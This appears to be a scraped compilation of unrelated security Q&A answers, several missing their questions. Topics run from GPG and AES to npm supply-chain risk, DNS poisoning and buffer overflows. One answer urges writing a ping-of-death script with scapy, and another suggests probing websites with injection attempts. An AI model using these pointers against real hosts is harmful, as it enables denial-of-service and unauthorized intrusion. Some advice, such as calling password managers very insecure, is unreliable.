Ask your PCI compliance people if you substituted number 0 for A, 1 for B, ... 9 for J, etc... and stored it in the database if this is "strong" enough.

Straight use of MD5 to fuzz card number (even with known salt) can be broken at the rate of 450million/sec on a GPU (from my quick google).  Remember we lost some PAN digits to brute, so we can do 10 digit in 2 seconds.

Sorry if not 100% on topic but use of MD5 to "strongly" secure credit card is a joke in 2013.


What defines a programming language as useful for hacking?

Languages are useful for doing things. What type of things it's suitable for completely depends on the type of language, the frameworks available for it, what OSes have interpreters / compilers for it, etc.

Let's look at the ones you've mentioned:

Perl

Scripting language
General purpose
Available on most *nix OSes since the '90s.
Great for quick hacks and short scripts.

Ruby

Scripting language
General purpose
Cross-platform
Object-oriented
Reflective (can see its own structure and code)
Good for dynamic frameworks

Python

Scripting language
General purpose
Cross-platform
Designed for clear and readable source code
Huge framework of libraries

JavaScript

Scripting language
Web-based
Cross-platform (available on every major browser)

So what makes these particularly good for pentesting? Well, most pentesting involves writing up quick throw-away tools to do a specific job for a specific test. Writing such a tool in C or C++ every time you want to do a quick job is cumbersome and time-consuming. Furthermore, they tend to produce platform-specific binaries or source that requires platform-specific compilation, rather than cross-platform scripts that just run. Scripting languages give you the flexibility to produce such tools quickly and easily.

For example, Ruby and Python are popular for more complex tasks because they have comprehensive libraries, whereas Perl is popular for quick data processing hacks. JavaScript is commonly utilised as a simple browser-based language that everyone has access to. Other languages such as C tend to be used for more low-level tasks that interface with the OS.

Now, the other side of the coin is languages used as payloads. This is where the line gets blurred, because requirements are so varied. For attacking Windows boxes, any payload that has no dependencies outside of what the OS provides is useful. This might be C, C++, VBScript, x86 asm, C# / VB.NET (.NET 2.0 is on most machines these days), etc. For attacking Linux boxes you might use C, C++, bash scripts or Perl. Java is also common for cross-platform attacks.

At the end of the day, pick the language that you find best for the job!


Why Can't Google Just Switch to Pushing Android Security Updates Directly to Users?

The crux of the problem is that with only a few notable exceptions, every phone ships with a fork of Android, not with the software written by Google. So Google can't push changes to Samsung's phones any more than FreeBSD can push changes to Apple's Macbooks.

Android is Open Source, which is a bit unusual. This is the first time a major consumer operating system with this size of userbase (1.4 billion users and growing fast) has been an open source project rather than a centrally-controlled one. We're used to the idea of the creator of the OS being able to take responsibility for updating it. And as evidenced by this question, we somehow expect Google to be able to control Android the same way Microsoft controls Windows and Apple controls iOS.

But by allowing companies like Samsung and Sony and Motorola to ship their own modified version of Android, Google gives up that control in a way that they can't get it back. Samsung then takes over not only control of their own flavor of Android, but also responsibility for keeping it updated. And by allowing Verizon to fork Samsung's version, Samsung then sheds both control and responsibility now to Verizon.

Theoretically this all works; theoretically Verizon will be just as responsible and dependable as Google. Except when they're not.

So there's three possible solutions. Either:

Manufacturers could start taking more responsibility for their OSes. Since Samsung's Android belongs to Samsung, we get nowhere unless Samsung takes some initiative on keeping it updated. This may require some cooperation with companies like Verizon if Samsung has allowed them to fork the code as well. This is more or less that status quo, but with more wishful thinking.
Google could take back control of Android. By switching to a closed-source license, they could impose licensing restrictions like requiring companies like Samsung to push patches within a limited timeframe. Of course, if Google went this route, there'd be no end of shouts about how "evil" and "anti-consumer" they were being, despite the fact that they're literally the only major player that is Open Source to begin with. Politically this is probably a no-go.
Companies like Verizon and Samsung could voluntarily give control back to Google without being forced into it by a licensing agreement. This is the sort of utopia arrangement where companies decide to do the right thing out of their own free will. Until a few weeks ago, this was the least likely of the three. But since the stagefright mess, several companies have pledged to do more or less exactly this.

So we'll see where it goes in the coming months and years.


How do I choose whether to trust a particular website?

I believe in cross-fertilizing between sources of information. Most of them start on the internet, but we have more and more ways to link virtual resources (e.g. websites) with the physical world. Following are a few ways I use to see if I can trust a website. I hope it helps :)

Does the site look professionally made?
Does the site have a certificate? Is it valid? Please keep in mind that invalid certificates are unfortunately very common.
If there is a login/e-business part in the site, is it using SSL?
Do I find any positive/negative feedback on this website on forums/mailing lists?
Does the whois.net information give me any information that would
help me trust the namespace owner?
In the contact section of the website if there is an address? Using a research engine, can I find other businesses at the same address? Can I find a telephone number of another company to check with them if the site is legit?
Can I see the building on Google street view? Does this building give me
confidence?

A bit more advanced:

If there is a login feature, do simple injections techniques work?
Browsing through the HTML/JavaScript code, do I see any reason not to trust that website? Here I'm looking for visible access control flaws, stored logging and passwords...
If the website is using a CMS (e.g. wordpress, SPIP) is it a "safe" version?


The AES cipher has only one parameter: the key. Indirectly, also the AES variant is defined.
You have AES-128 for 16 byte keys, AES-192 for 24 byte keys, and AES-256 for 32 byte keys.

I don't consider input data to be a parameter.

Orthogonal to that you have the chaining mode, which is the way you manage to encrypt/decrypt pieces of data that do not match the block size of the cipher.
For instance ECB, CBC, CFB, etc. I use the generic term cipher because a chaining mode is applicable to any block cipher, and AES happens to be one amongst many (e.g. you have TDES, Blowfish, etc), with a constant block size of 16 bytes.

Some chaining modes (CBC, OFB, CFB, GCM) require an Initialization Vector, which very often matches the block size of the cipher. In some cases, the IV is called nonce and it may be smaller than the block size (e.g. for CTR).

Finally, some chaining modes may require the plaintext to have a length multiple of some value (e.g. block size for CBC, segment size for CFB). In those cases, you may need to also define the specific padding algorithm (e.g. PKCS7-style).


How can I verify that my laptop does not have malware in the firmware?

"But, what about the firmware?"

Which one? BIOS/UEFI?
HDDs and SSDS have firmware too. There is some public and certainly more non public data around on hacking those. Depending on the laptop there could be more devices with firmware or persistent storage like GPU, NICs ...
A TPM can help you with BIOS and UEFI. afaik it is no solution for the rest as the firmware runs completely independent from the rest of the OS.

  "Does Windows Update make legitimate updates to the firmware?"

No. Usually there some custom tools from the manufacturer of the devices.

  "Is there a way to detect that the firmware contains unauthorized
  modifications?"

You need to get a legitimate copy for comparison.

  "Is there a way to re-write the flash firmware with factory fresh
  content?"

Search around here.


How does the Copyright Alert System work? Who has implemented it?

ISPs have never been involved in the process of determining whether or not specific traffic is related to a copyright violation.  From a technical perspective the ISP is one of the worst places to implement such a monitoring system.  (There is a huge amount of traffic flowing through an ISP, and a huge number of possible copyright violations.  At best case that is O(n^2),  and if the ISP introduces any amount of "lag" people are going to freak out.)

Apart of the "Copyright Alert System" is the "Center For Copyright Information (CCI)" which states the following:

  Under this system copyright holders  will notify a participating ISP
  when they believe their copyrights are being misused online by a
  specific computer (identified by its Internet Protocol (“IP”) address
  which indicates the connection to the Internet).

...and this has been going on all along.  Copyright holders pay companies (thugs) to search p2p networks looking for people who are sharing their protected content.  This produces a list of IP addresses, with a simple WHOIS you can get the ISP's abuse notification email address.  This new system is just a more formal channel for reporting abuse.

That being said this whole system is ripe for abuse.  It just introduces a DoS condition that is trivial to exploit.  You just have to send 6 requests to take down ANY target!


The passphrase in gnupg's symmetric vs asymmetric encryption schemes

gpg symmetric encryption creates a random symmetric key and encrypts that key using the passphrase along with a random salt.  The random symmetric key is used to encrypt the file or message.

Here's a simple example:

Create a symmetric encrypted message

gpg --symmetric --armor
Hello there!

-----BEGIN PGP MESSAGE-----

jA0ECQMCMvT60tBO0Hj/0kIBF8YvdNeI61L/GSib25ZU1bkeNLTvkwSMfOFUma9u
YjFN5vKzpv8xclcuUT5huIiDlVyDVwON3tbiflavACeiJg4=
=Nt35
-----END PGP MESSAGE-----

The password is 1234

View the message components

gpg --list-packets

gpg: Go ahead and type your message ...
-----BEGIN PGP MESSAGE-----

jA0ECQMCMvT60tBO0Hj/0kIBF8YvdNeI61L/GSib25ZU1bkeNLTvkwSMfOFUma9u
YjFN5vKzpv8xclcuUT5huIiDlVyDVwON3tbiflavACeiJg4=
=Nt35
-----END PGP MESSAGE-----
gpg: AES256 encrypted data
gpg: encrypted with 1 passphrase
# off=0 ctb=8c tag=3 hlen=2 plen=13
:symkey enc packet: version 4, cipher 9, s2k 3, hash 2
    salt 32F4FAD2D04ED078, count 65011712 (255)
# off=15 ctb=d2 tag=18 hlen=2 plen=66 new-ctb
:encrypted data packet:
    length: 66
    mdc_method: 2
# off=36 ctb=a3 tag=8 hlen=1 plen=0 indeterminate
:compressed packet: algo=1
# off=38 ctb=cb tag=11 hlen=2 plen=19 new-ctb
:literal data packet:
    mode b (62), created 1546881253, name="",
    raw data: 13 bytes

As can be seen through basic inspection of the dissected message, the symmetric passphrase is not used directly to encrypt the plain text nor even the random symmetric key.

Additional information addressing OP comments.

To decrypt the above message

gpg -d

<--- copy and paste the message in the terminal and type in 1234 for the passphrase --->

<--- to exit, press enter and then ctrl-d --->

Result:

-----BEGIN PGP MESSAGE-----

jA0ECQMCMvT60tBO0Hj/0kIBF8YvdNeI61L/GSib25ZU1bkeNLTvkwSMfOFUma9u
YjFN5vKzpv8xclcuUT5huIiDlVyDVwON3tbiflavACeiJg4=
=Nt35
-----END PGP MESSAGE-----gpg: AES256 encrypted data
gpg: encrypted with 1 passphrase
Hello there!

Encrypted Symmetric keys using Passphrase and Salt

There is no need for gpg to keep track of anything.  The message itself includes all the needed items for decryption except the passphrase.  The passphrase may not be very good, meaning having low entropy.  However, that's why salts are used.

Salts are non-secret strings that are appended or pre-pended to user passwords/passphrases or the like in order to increase the entropy of the user generated secret.  This may sound like it doesn't work very well; adding a non-secret component to a secret.  But it does work.

For further reading on salts:

Wikipedia Salt(cryptography)


Website vulnerability scanner in Java && Open Source

You can do some automated scans with OWASP ZAP or Burp (Burp isn't free).


Should Anti Virus and Anti Malware layer be the first layer in web application stack or can it seat behind services?

An anti-virus or anti-malware that runs too early will not be able to prevent all threats. The reason why is that the software must be able to understand all possible ways that the data might be processed by the microservice. This means that the anti-virus itself must also simulate the microservice in order to determine if the result would be malicious code execution. It's far simpler to run the microservice in a sandboxed execution environment (such as how some anti-viruses operate) to detect the bad behavior during runtime, or otherwise provide real-time protection for the microservice at a lower level, such as behavioral heuristics. In order for either of these methods, the protection must run at a lower level than the microservice itself, usually as a kernel/OS process.


As the OP mentioned, a 4-digit PIN can be broken in a few days with special hardware.

Without the special hardware, unless you're consistent at wiping smudges from your screen, the PIN numbers can be reconstituted fairly easily. The suggestion is to reuse one or two numbers to actually increase the difficulty in guessing the PIN. See https://www.schneier.com/blog/archives/2012/01/improving_the_s.html

Obviously avoid these PINs: http://danielamitay.com/blog/2011/6/13/most-common-iphone-passcodes

If you do not enable Erase Data (which wipes the device after 10 failed tries), then a 4-digit PIN would take at worst 417 days to guess (assuming 1 second to enter the passcode per attempt and going by the locking policy outlined on page 12 of https://www.apple.com/business/docs/iOS_Security_Guide.pdf), compared with 41,678 days for a 6-digit PIN. That 4-digit figure falls short of the OP's "reasonable" length of 2 years of security, especially since on average a passcode is recovered in half of all possible guesses, so that would be more like 208 versus 20,839 days.


While browsing, you can check every time if the certificate that is presented to you by the website is issued by a legitimate CA or its a fake certificate issued by some CA that your browser trusts. Obviously it is not possible do it manually. So, there are tools that do it for you.

Cert Patrol and Perspective are browser plugins that do essentially that. They keep a note of which domainnames are issues by which CAs (eg. Google=>Thwate, etc.) and many other parameters related to the certificates and will alarm the user if either the CA changes OR if the public key in the cert changes.

These are obviously not detection of MITM, they are more like prevention schemes by detecting that something is odd about the certificate presented by the website.

Also while connecting to a SSH server, it asks for the server fingerprint. I'd be alarmed if my ssh client presents me a new fingerprint after I've previously connected to a server. The server host key gets saved to the known_hosts file after first connection, the only reason the client is asking me to validate the fingerprint again is because either the SSH server has restarted/updated OR I am being MITMed.

Absolute paranoia demands you to call the system admin on phone and confirm the fingerprint by making him speak the key.


FIDO2: will FIDO foundation MDS 1.0 metadata statements be migrated to MDS 2.0?

Yes. According to this tweet from a project member (triggered by your question!), the FIDO projects are actively working on migrating MDS metadata to MDS2.


Answer: Low-level vulnerabilities, such as buffer overflows in the stagefright binary or underlying Linux kernel, will behave differently on every system that you run them on (ie: x86 Android, QEMU ARM, native ARM). Userland-level security vulnerabilities will be largely the same as they live at a high level of abstraction from the processor architecture.


What utilities can be used for Ping of death attack?

Generally, sending a 65.536-byte ping should do the trick. For what program it can do? Well a script, which you should write!

I'll hand you some tools:

python
scapy
a guide with spoilers

Generally if you want to look for something, you should try using google. For instance googling for "ping of death example script" which should yield several examples in different languages.


How exactly should I interpret the term "Hybrid Cloud"?

Look at it from a service perspective instead of from a "cloud" perspective (there is no such thing as a "cloud").

If a service resides partially on a privately held network as well as on a publicly held network, then it's a "hybrid".

For example, I use a security service where I deploy multiple servers within my own network (private "cloud") and the data from those collectors is sent to the vendor's network (public "cloud") for processing and correlation. That's a "hybrid cloud".


Even though it tracks all the issues and not a security issues resource, you can search the issues in Android Open Source Project - Issue Tracker for security issues of a given device.

Here is the link.


Recent ESLint hack or how can we protect ourselves from installing malicious npm packages?

Three words: Supply Chain Management. Except that in our case the "supply" is dependency or "third party libraries".

This isn't a unique problem to npm. This a general problem in software development. It's the equivalent of googling for a manufacturer of "screws" then use the first manufacturer of "screws" you see, don't ask about the specs of the "screws", then use these "screws" and hope they'll do the job right and don't break, erode/rust too fast and can handle the strain... without ever having checked whether those screws have been tested, have proper quality control.
We can do this because usually no people die if your software is buggy or vulnerable. If a structure collapse because the screw were buggy... that's a different story. There's accountability there. There's no such accountability in software... except when you're working in a few industries where lives are actually at stake when software bugs happen or when huge and expensive machinery breaks (and/or then endangeres lives) if your control software is buggy. And I mean that dead serious. You can't just use a third party library without some rigirous checking on an embedded device controlling dangerous machines if you must be able to uphold realtime communication to control some process in real time and everything goes boom if the third party library you use produces a CPU fault because it's buggy... because then your machine is going to get damaged for real.

The problem with software development is that we "google" for "some library" providing "some functionality" and then we just "npm install", "go get", "pip install" it and we're happy. There's no verification process in there. How do you know the package provides what it claims? Do you know how well tested it is? Do you know if it's still actively maintained? Do you know what the API stability guarantees are? You can "go get" some package and the package is completely broken a week later because even "officially" looking go code might not have any API stability guarantees.

What version constraints do you use? foo >= 1.5. What if foo >= 1.6 introduces a backdoor? Somebody compiling your code with the newest versions will have this backdoor in it. What if you use foo == 1.5 but there are different mirrors and the mirror your colleague uses to build your software containes a malicious version of the package? And don't forget: If you install/use a package/library? You not only need to verify that package/library... you need to verify the whole dependency tree.

What we'd need is a certification process. Once a company/developer thinks their package is ready they publish it and then independent code review and security companies review the package and once there's a reasonable degree of confidence that this package is "secure" to use they'll sign it. Then you're only allowed to use dependencies that are signed and you use hashes in addition to versions such as foo == ("1.5", "abc734defef373f..").

How do you apply this to npm?

Don't install npm packages without review. Who's the author? What's the general code quality? When was it last updated? What were the last few commits? What does it's install do? Does it have proper tests? What's the code/test coverage? How many people are using it? Who's using it?

Software development is focused on providing updates, new things, updates, new things. Proper testing and proper "third party code management" costs A LOT and most usually neither the companies nor the consumers are willing to pay that price. Afterall, it's always "risk vs cost". If the cost of a security vulnerability is some users having stolen their credentials... nobody cares. They can't sue you.. at worst it costs you a bit in "public image". If the worst is a buggy software that doesn't work for some users... you can afford a few pissed of users who were using the free version anyway...
This would probably change if there were such a thing like "warranty" for software and accountability for software bugs (which kinda exists for when you pay someone to write something for you) but since a lot of software is open source which comes with exactly zero warranty/guarantees (that's actually one major drawback of this) or it's software that you're using for free this is just not going to happen for that kind of software.

This problem also exists for using third party javascript on your website. Same thing. The problems are almost completely the same regardless of what language, frameworks, technology you use: If you want to be secure... you need to verify third party code.

One other thing:

There are packages/libraries that provide only little utility... things you could've written yourself in 3h... maybe a day. This isn't a problem if you don't care about more dependencies (and more dependencies complicates your dependency management) but if you do... it's sometimes actually less effort to just not use such simple libraries and write the functionality yourself so that you have full control over it and can properly test it. Rule of thumb is that if it takes you longer to verify someone elses's code than it takes you to write it yourself... then write it yourself. This also applies if you only need one or two functions from a whole framework. It's much easier to properly check your two versions of some function rather than including and verifying a whole framework because frameworks themselves have dependencies and you'll have to verify them as well.

Other than that: ... you could block traffic to non-whitelisted websites during the installation process which means that this exacty specific attack wouldn't work but that doesn't work against malicious install scripts that just delete random files or insert backdoors into existing files or whatever. You'll have to carefully read through the installation scripts.


Encryption Key vs. One-Time Pad Brute Force

Encrypted data is (pseudo) random data, i.e. it has maximal entropy (near zero patterns).

A 140 character string which is e.g. English can be compressed to 108-110 characters with an off-the-shelf no-special compression algorithm. A wrongly decrypted 140 character string can be compressed to 138-140 characters.
(BTW the claim 108-110 is not randomly chosen, I actually tried this with 140 characters from a previous answer's paragraph. Longer texts will obviously compress significantly smaller than that, even. Text will usually be something around 1/4 of its original size, and other "useful, non-random data" such as executables or even images will have anywhere from 30-70% of their original size, depending on what it is.)

This makes it rather easy to identify the case where you have found the correct encryption key (actually finding it is a different matter, I invite you to try and brute force 128-bit key, let alone a 256-bit key -- good luck).

Now with an OTP the problem is that unlike with a block or stream cipher where there is some albeit obscure correlation, the transfer function could be (and should be, as the key should be random) totally random, basically anything.

Which means no more and no less than you can get every answer out of an OTP, provided that you fill in the corresponding key, and there's no way of knowing whether that's correct. Every permutation is equally likely, and no bit in the message is related to any other bit (in the message or the key).

Within limits one could allege the same about other encryption systems (since 2128 choices is a huge number, almost "infinite" for most purposes), but in practice it's not the case. The number of permutations is comparatively small (compared to, e.g. 21120), and the bits within the message are not independent of each other, or independent of other bits in the key. Mind you, flipping any bit in an OTP will flip one bit in one character. But flipping one bit in a block cipher will have a 50% chance to flip each and every bit. They're not independent!

Which means that despite there being a huge number of outputs, there is only a very small number (often just one) that actually make sense, and you can identify them by their entropy.


What every company on the planet with assigned static IPs does.

At a minimum, firewall with default drop on unneeded inbound ports, patch all exposed services for vulnerabilities, don't have unneeded services listening, enable some sort of intrusion detection.

And you're not going to do anything much on inbound DDOS. Usually you have to do something to invite this kind of attention.

If they seriously want to mess with you, they will do targeted attacks by other means than directly working with an IP address. Once they're successful on that end, their malware phones home and knowing the IP address ceases to become an issue.

And it answers the question kind of in reverse. They will scan your IP to find out what kind of services are responding, attempt to use any replies to fingerprint both the responding OS and any service versions to see if there are vulnerabilities that can be exploited. And then there's the old Distributed Denial of Service attach where they just slam the door shut so you can't get out.


Buffer Overflow - Find address of shellcode

The actual size of the stack depends greatly on compiler optimizations, and be affected by the presence of the debugger. In this case, minimizing the stack to ebp+8 isn't necessary, so I wouldn't overthink it.

Keep in mind that counting on stack organization to be the same run to run isn't a realistic exploit scenario anymore. In more realistic scenarios, you will be tasked with bypassing Nxbit/dep and ASLR, so counting on your exploit code to be somewhere in particular you can jump to wont cut it anyway.

If you want a NOP-sled free version of the attack, I would instead focus on finding a way to disclose an address without crashing the program. In such a small example, that may not be possible.


What can be done with Credit or debit card informations asked by websites?

Credit card fraud is a risk managed primarily by two things: chargebacks and anti-fraud monitoring.

A chargeback is when you say "Hey, I didn't buy this."  Your credit card will generally refund you the amount immediately and open a chargeback investigation, which is difficult for the merchant to win unless they have a signed receipt.  The assumption that the cardholder is right is a powerful tool against merchant fraud.

Similarly, the card brands have invested significant resources into the automated detection of fraudulent patterns.  If a merchant you visit does make fraudulent charges, or even just sells/gives your card details to someone else, the card brands can pinpoint the source of the leak by correlating fraudulent card usage against common purchase points.  That merchant then faces consequences including fines and revocation of card processing privileges.

The whole credit card ecosystem is about providing reassurance and convenience to both cardholders and merchants.  In doing so there are trade-offs - such as your card details being re-usable - but the system works well enough to get along.


Why can't I have WPA handshake on aircrack?

The message "fixed channel mon0:-1" usually means there are some problems with the compat-wireless package. Try to install the newer version using the following instructions:

http://aircrack-ng.org/doku.php?id=compat-wireless


Why are some websites seemingly immune to self-signed certificate MitM attacks?

Facebook uses HSTS (with preload[*]) while steamcommunity.com doesn't.

HTTP Strict Transport Security is a HTTP header that has two effects:

It forces all connections to the site over HTTPS (even if it was accidentally linked/bookmarked/typed as HTTP)
It aborts if any HTTPS error or warning exists. This includes self-signed certificate warnings, which means that it is impossible to accept these certificates.

[*] preload means that the browser is aware of HSTS even before the first visit. Without preload, you could perform a man in the middle attack on the very first request to the site, even if HSTS exists.


Watching movie from a potentially infected device

This is mostly a question of targeting. In a case like this, we're most likely talking about opportunistic infection. What this means is that some malware may copy itself to any USB stick that is inserted, perhaps with an autorun.ini file that attempts to start the malware when you plug it in (this doesn't work by default on Windows 7 or later), or with some interesting looking file name that it entices you to click on. Generally speaking any malware is going to target Windows.

In an very rare case, the malware may also bundle a payload designed to attack a common smart TV operating system, such as Android TV or webOS. These embedded operating systems used to run some very old Linux packages with vulnerabilities in them; the vulnerable package I most commonly see on these types of infotainment systems is libpng. However, for opportunistic USB stick infection from a Windows host, I don't think I've ever heard of malware that targets one of those platforms.

Technically speaking a standalone Blu-Ray player can suffer the same problems. It's a surprisingly richly featured system, including a Java ME runtime for BD-J content. Since most Blu-Ray players never get software updates it is reasonable to assume that there are vulnerabilities in most of them and they never get patched. However, a standalone Blu-Ray player is exceedingly unlikely to be targeted, for a number of reasons: the chances of you plugging the USB stick into a Blu-Ray player are small; the chances of that Blu-Ray player being the one they happened to target are smaller still; the chances of that Blu-Ray player happening to run the right version of the software for their payload is even smaller; and most of the time the Blu-Ray player isn't connected to the network anyway so there's little point in infecting it - it doesn't have access to anything useful and can't talk back to the attacker.

Usually the way I deal with untrusted devices is to load them in an environment that I can just throw away. Booting from a live Linux USB on a system with no other mass storage devices is a good way to do this. If you've got a spare laptop hanging around you can just pull out the hard disk and use it to scrub everything on the flash drive aside from the one file you care about. Chances are the malware can't run on Linux anyway, and even if it did there's no easy way for it to persist in a live boot environment.

As an aside, I recommend that you update your video player software to the latest version, because video players can have vulnerabilities too.


DNS Cache poisioning examples, or other criteria when a client ignores a response

I imagine there's a pretty big difference between what does happen and what should happen. Also, there's a decent amount of inconsistency in this behavior which depends (at least theoretically) on whether or not the server thinks it's supposed to be doing recursive queries.

The "Additional Information" section is there to prevent (otherwise inevitable) additional lookups, thus reducing both the total lookup time and also the strain on the DNS server.

The "rule" as has been largely accepted by the community divides servers into two groups: "authoritative nameservers" and "resolving nameservers". That is, either a DNS server is used to serve a specific set of domains, or it is used to act as a proxy doing recursive DNS lookups to other servers on behalf of a client.

For authoritative nameservers, the following rules apply:

Do not return any records for which the server is not the authority
(Corollary) Do not do recursive lookups (which would violate rule 1)
Do not cache anything (which, of course, would be completely unnecessary anyway if rules 1 and 2 are being followed; which is kind of the point)

For resolving nameservers, the following rules apply:

Do not cache or return any records which you did not specifically request (or would have requested from that specific server)
Do not cache or return any records which came from a source that is not authoritative for that domain (doing 2 probably implies 1, which again is the point)

The end result is that domains will only come from either authoritative nameservers, or from resolving servers which directly requested the information from authoritative nameservers. This, by definition, means that cache poisoning is not happening.

You'll get additional information from a nameserver when it thinks it has additional information that might help you. If you're questing from an authoritative nameserver, your additional information should be limited to only what's stored on the server. That may mean that if your response is a CNAME to a foreign domain then all you get is a list of the root servers. But if the server has the correct answer for you (such as when the canonical name is within the same zone as the CNAME record), then you should get the most specific information available.

If, on the other hand, you're making requests to a caching resolver, then the server will server will often make additional requests so that the answer you get is something you can use.  This is particularly true in the case of CNAME records, but may apply in other cases too.


Is it possible to extract encryption keys from software executing on your own system?

You don't say that you're dealing with malware, but I will assume you are.
If the application is doing encryption, then of course it has the key. The fundamental approaches are to either analyze the application binary on disk, or to let it run and analyze the running binary. But be aware that malware authors do not want their applications to be reverse-engineered, and they make that very difficult to do; so you are venturing into the field of "malware reverse engineering" which apparently has a median salary of $125,000 USD, which tells you a bit about how specialized the skillset is.
So when you reverse engineer the malware you may find for example that they use binary obfuscation techniques to make the binary very difficult to understand, for example to figure out what is code and what is data (ie the key you're looking for). Another technique in this direction is whitebox crypto which aims to, for example take a traditional AES implementation and key, and combine them into a custom algorithm, so there actually is no key, just some very complicated code. You may also find that your malware sample is designed to detect when it is being monitored display completely different behaviour when it is being monitored (let's call this the Volkswagen maneuver).
Finally, as @mti2935 points out,with some early ransomware it was actually possible to reverse all this and extract the encryption / decryption key from the malware sample. Then the malware people got wise and started using asymetric crypto where you need the public key to encrypt and the private key to decrypt. The public key would be embedded in the malware, and the private key would be kept on the command&control server (c&c). Therefore the malware contains what it needs to encrypt, but not matter how hard you look, the keys to decrypt are not in there.
To be even more clever, when the malware starts up, it can contact the c&c to get a unique public key so that they can demand separate payment for each instance of the malware because they are all using different keys.
In summary: Not easily. Good luck. If this you are asking about ransomware, sounds like you need to hire a malware specialty firm.


How do universities and schools securely sync passwords between multiple services?

It's usually not that passwords are "synced" between services, but rather a centralized authentication service is used. In many cases, this is going to be a Microsoft Windows domain controller running an Active Directory server (others exist e.g. FreeIPA), which other services can talk to using LDAP and Kerberos.

The typical setup has all user accounts added to the directory server (which is usually replicated across multiple servers transparently for redundancy and reliability purposes). Locally hosted applications (e.g. Blackboard) will have the directory server's LDAP information entered into the server settings as an authentication provider. When a client enters their credentials on the web interface, the application may check the credentials against a local database as well as LDAP services that have been configured. If the LDAP server confirms a successful authentication, information about the user (contact info, group membership, etc.) can be retrieved to populate parts of the application. When user information is updated somewhere, the data on the directory server is changed so that the change will be visible everywhere else. This applies to changing the password.

Not all applications will use LDAP directly; external services such as Office 365 or Google Apps suite and others may instead use single sign-on (SSO), where you authenticate through your organization's login page and these external services are able to effectively reuse this authentication (e.g. through SAML).

On the directory server, passwords are stored as hashes within each user object. The hashes are protected further using LDAP access controls (so any LDAP client can't just pull hashes) and are encrypted with a key from the registry (in the case of Windows Active directory).

In short, this is just scratching the surface. There are a number of ways to set up a network and services to use centralized authentication. But almost every organization uses some type of this system; like you said, it would be very difficult and insecure to do manually in most cases.


What are the possible types of intrusions that a IDS protects against?

There are a few thousand CWEs used to classify tens of thousands of vulnerabilities.  That should come pretty close to addressing this problem.

Oah and don't forget about application/protocol specific encoding.   That is the bread and butter of IDS/IPS bypass.


You're limited by the fact that data is encrypted.
Nowadays the most used encryption algorithm is wpa2/wpa psk that has not critical flaws like the old wpa.


Does it mean MAC OS implemented U2F protocol?

No, it means that Chrome implements U2F by using properties of the TouchBar. From Issue 678128: Use TouchBar/TouchID as a secure element for implementing a U2F security key:

  ... The new MacBook Pros with TouchID have a secure enclave for storing the fingerprint data. We may be able to use this element for implementing an on-computer second-factor security key. ...

In other words: the support is implemented in the browser by using capabilities offered by the OS. It is not implemented by the OS itself.


Using + for email addresses to find out who is selling your data: is it naive or is it effective?

You're correct, the 'protection' is pointless against an adversary who's motivated enough to clean up their lists of email addresses. As pointed out by the OP, getting rid of +'s is trivial.

I've seen some security researchers (and  others) create actual addresses instead, e.g. name.topic@... and setup aliases to their main address. The advantage is that you can use another primary address (not just name@...) and so you don't risk your actual address being found out and it's easier to revoke a spammy adress.


Is Google overreaching by forcing me to use TLS?

It's not just about you. By forcing users to use TLS, they're creating a more secure environment for everyone.

Without TLS being strictly enforced, users are susceptible to attacks such as sslstrip. Essentially, making unencrypted connections an option leads to the possibility of attackers forcing users into unencrypted connections.

But that's not all. Requiring TLS is the first step in moving toward HSTS enforcement on the google.com domain. Google already does opportunistic HSTS enforcement -- which is to say that they don't require TLS, but they do restrict which certificates are allowed to be used on Google.com (nb: this technique is now called HPKP). That's an improvement, but it's not ultimately a solution.

For full HSTS enforcement, they need to ensure that requiring TLS on all Google services within the domain won't break any necessarily third-party solutions. Once enforcement is turned on, it can't easily be turned off. So by moving services one-by-one to strict TLS enforcement, they are paving the way toward making HSTS enforcement across the domain a reality.

Once this enforcement is in place, browsers will simply refuse to connect to Google over an insecure or compromised connection. By shipping this setting in the browser itself, circumvention will become effectively impossible.

  Disclaimer: I work for Google now but I didn't work for Google when I wrote this. This is my opinion, not Google's (as should be immediately clear to anyone with a basic understanding of chronology).


What type of content better not to transfer by email?

To answer your boiled-down question: How insecure is email?  Practically speaking email is subject to attack by DNS spoofing, WIFI interception, and untrusted network administrators just to name a few.

To mitigate this you need to consider the different aspects that need security.  It's likely most companies will fall short in security in at least one of the following areas, so anything you send could be in clear text and visible by someone other than your intended recipient.

Under each facet of security I listed relevant products grouped by how they are technically implemented.  Ask yourself these questions based on the content you're sending over email:

Message Sender Verification

Does the recipient need proof that it was you who actually sent the message?

SenderID/SPF Records (weak verification)
Domain Keys / DKIM (strength depends on implementation)
DMARC (Strong validation of the display from user... hybrid of SenderID and DomainKeys)
PGP or s/MIME (may cause compliance issues if journaling or message auditing is required)
Portal-based products (Voltage, Proofpoint, Zixmail)
Microsoft RMS server + Outlook

Message Transport

Do I need to prevent unauthorized reading or modification of the email sender's MTA and my MTA?

Enforced TLS, with certificate validation.  Non-validated certs are subject to MITM attacks.
Zix-based TLS is a private TLS network that doesn't require manual configuration
PGP or s/MIME (may cause compliance issues if journaling or message auditing is required)
Portal-based products (Voltage, Proofpoint, Zixmail)
Microsoft RMS server + Outlook

Reading the message

Must I ensure that only the intended recipient is able to read the message content?

PGP or s/MIME (may cause compliance issues if journaling or message auditing is required)
Portal-based products (Voltage, Proofpoint, Zixmail)
Microsoft RMS server

Must the client endpoint be secure? (applies if above 3 products aren't used)

The target network administrator is delivering email using a secure transport (Encrypted MAPI, POP3 over TLS, etc)
The target device is secure.  This applies to workstations, and mobile devices.
Microsoft UAG adds features to OWA where the endpoint is audited and will delete left-over attachments in %temp% and restrict or deny access to features as policy dictates
An alternative to UAG is to block attachments from reaching the client (as Henri first mentioned)


Is using an app with a password generation algorithm as secure as a using a password manager?

Honestly I would say that writing passwords on a piece of paper is the best way of securing them

if you want to generate passwords, think of random sentences, (a password can include spaces)

ie:

pigs wag tails too

another way of generating good passwords is random text, over 7 characters long
^F*f*jk@Rj%j3

I created a password cracker, and those were the most difficult to guess

As to the master password system, if somebody gets your master password, you are done.
Its like placing all of your eggs in one basket, and hoping you don't drop it

Personally I think password managers are very insecure on account of most being online/syncing with mobile devices. The big problem with password managers is that we could have the best passwords, but a hacker could automate hacking these companies/its customers.


Is ASLR useless in preventing attacks such as return-to-libc in linux?

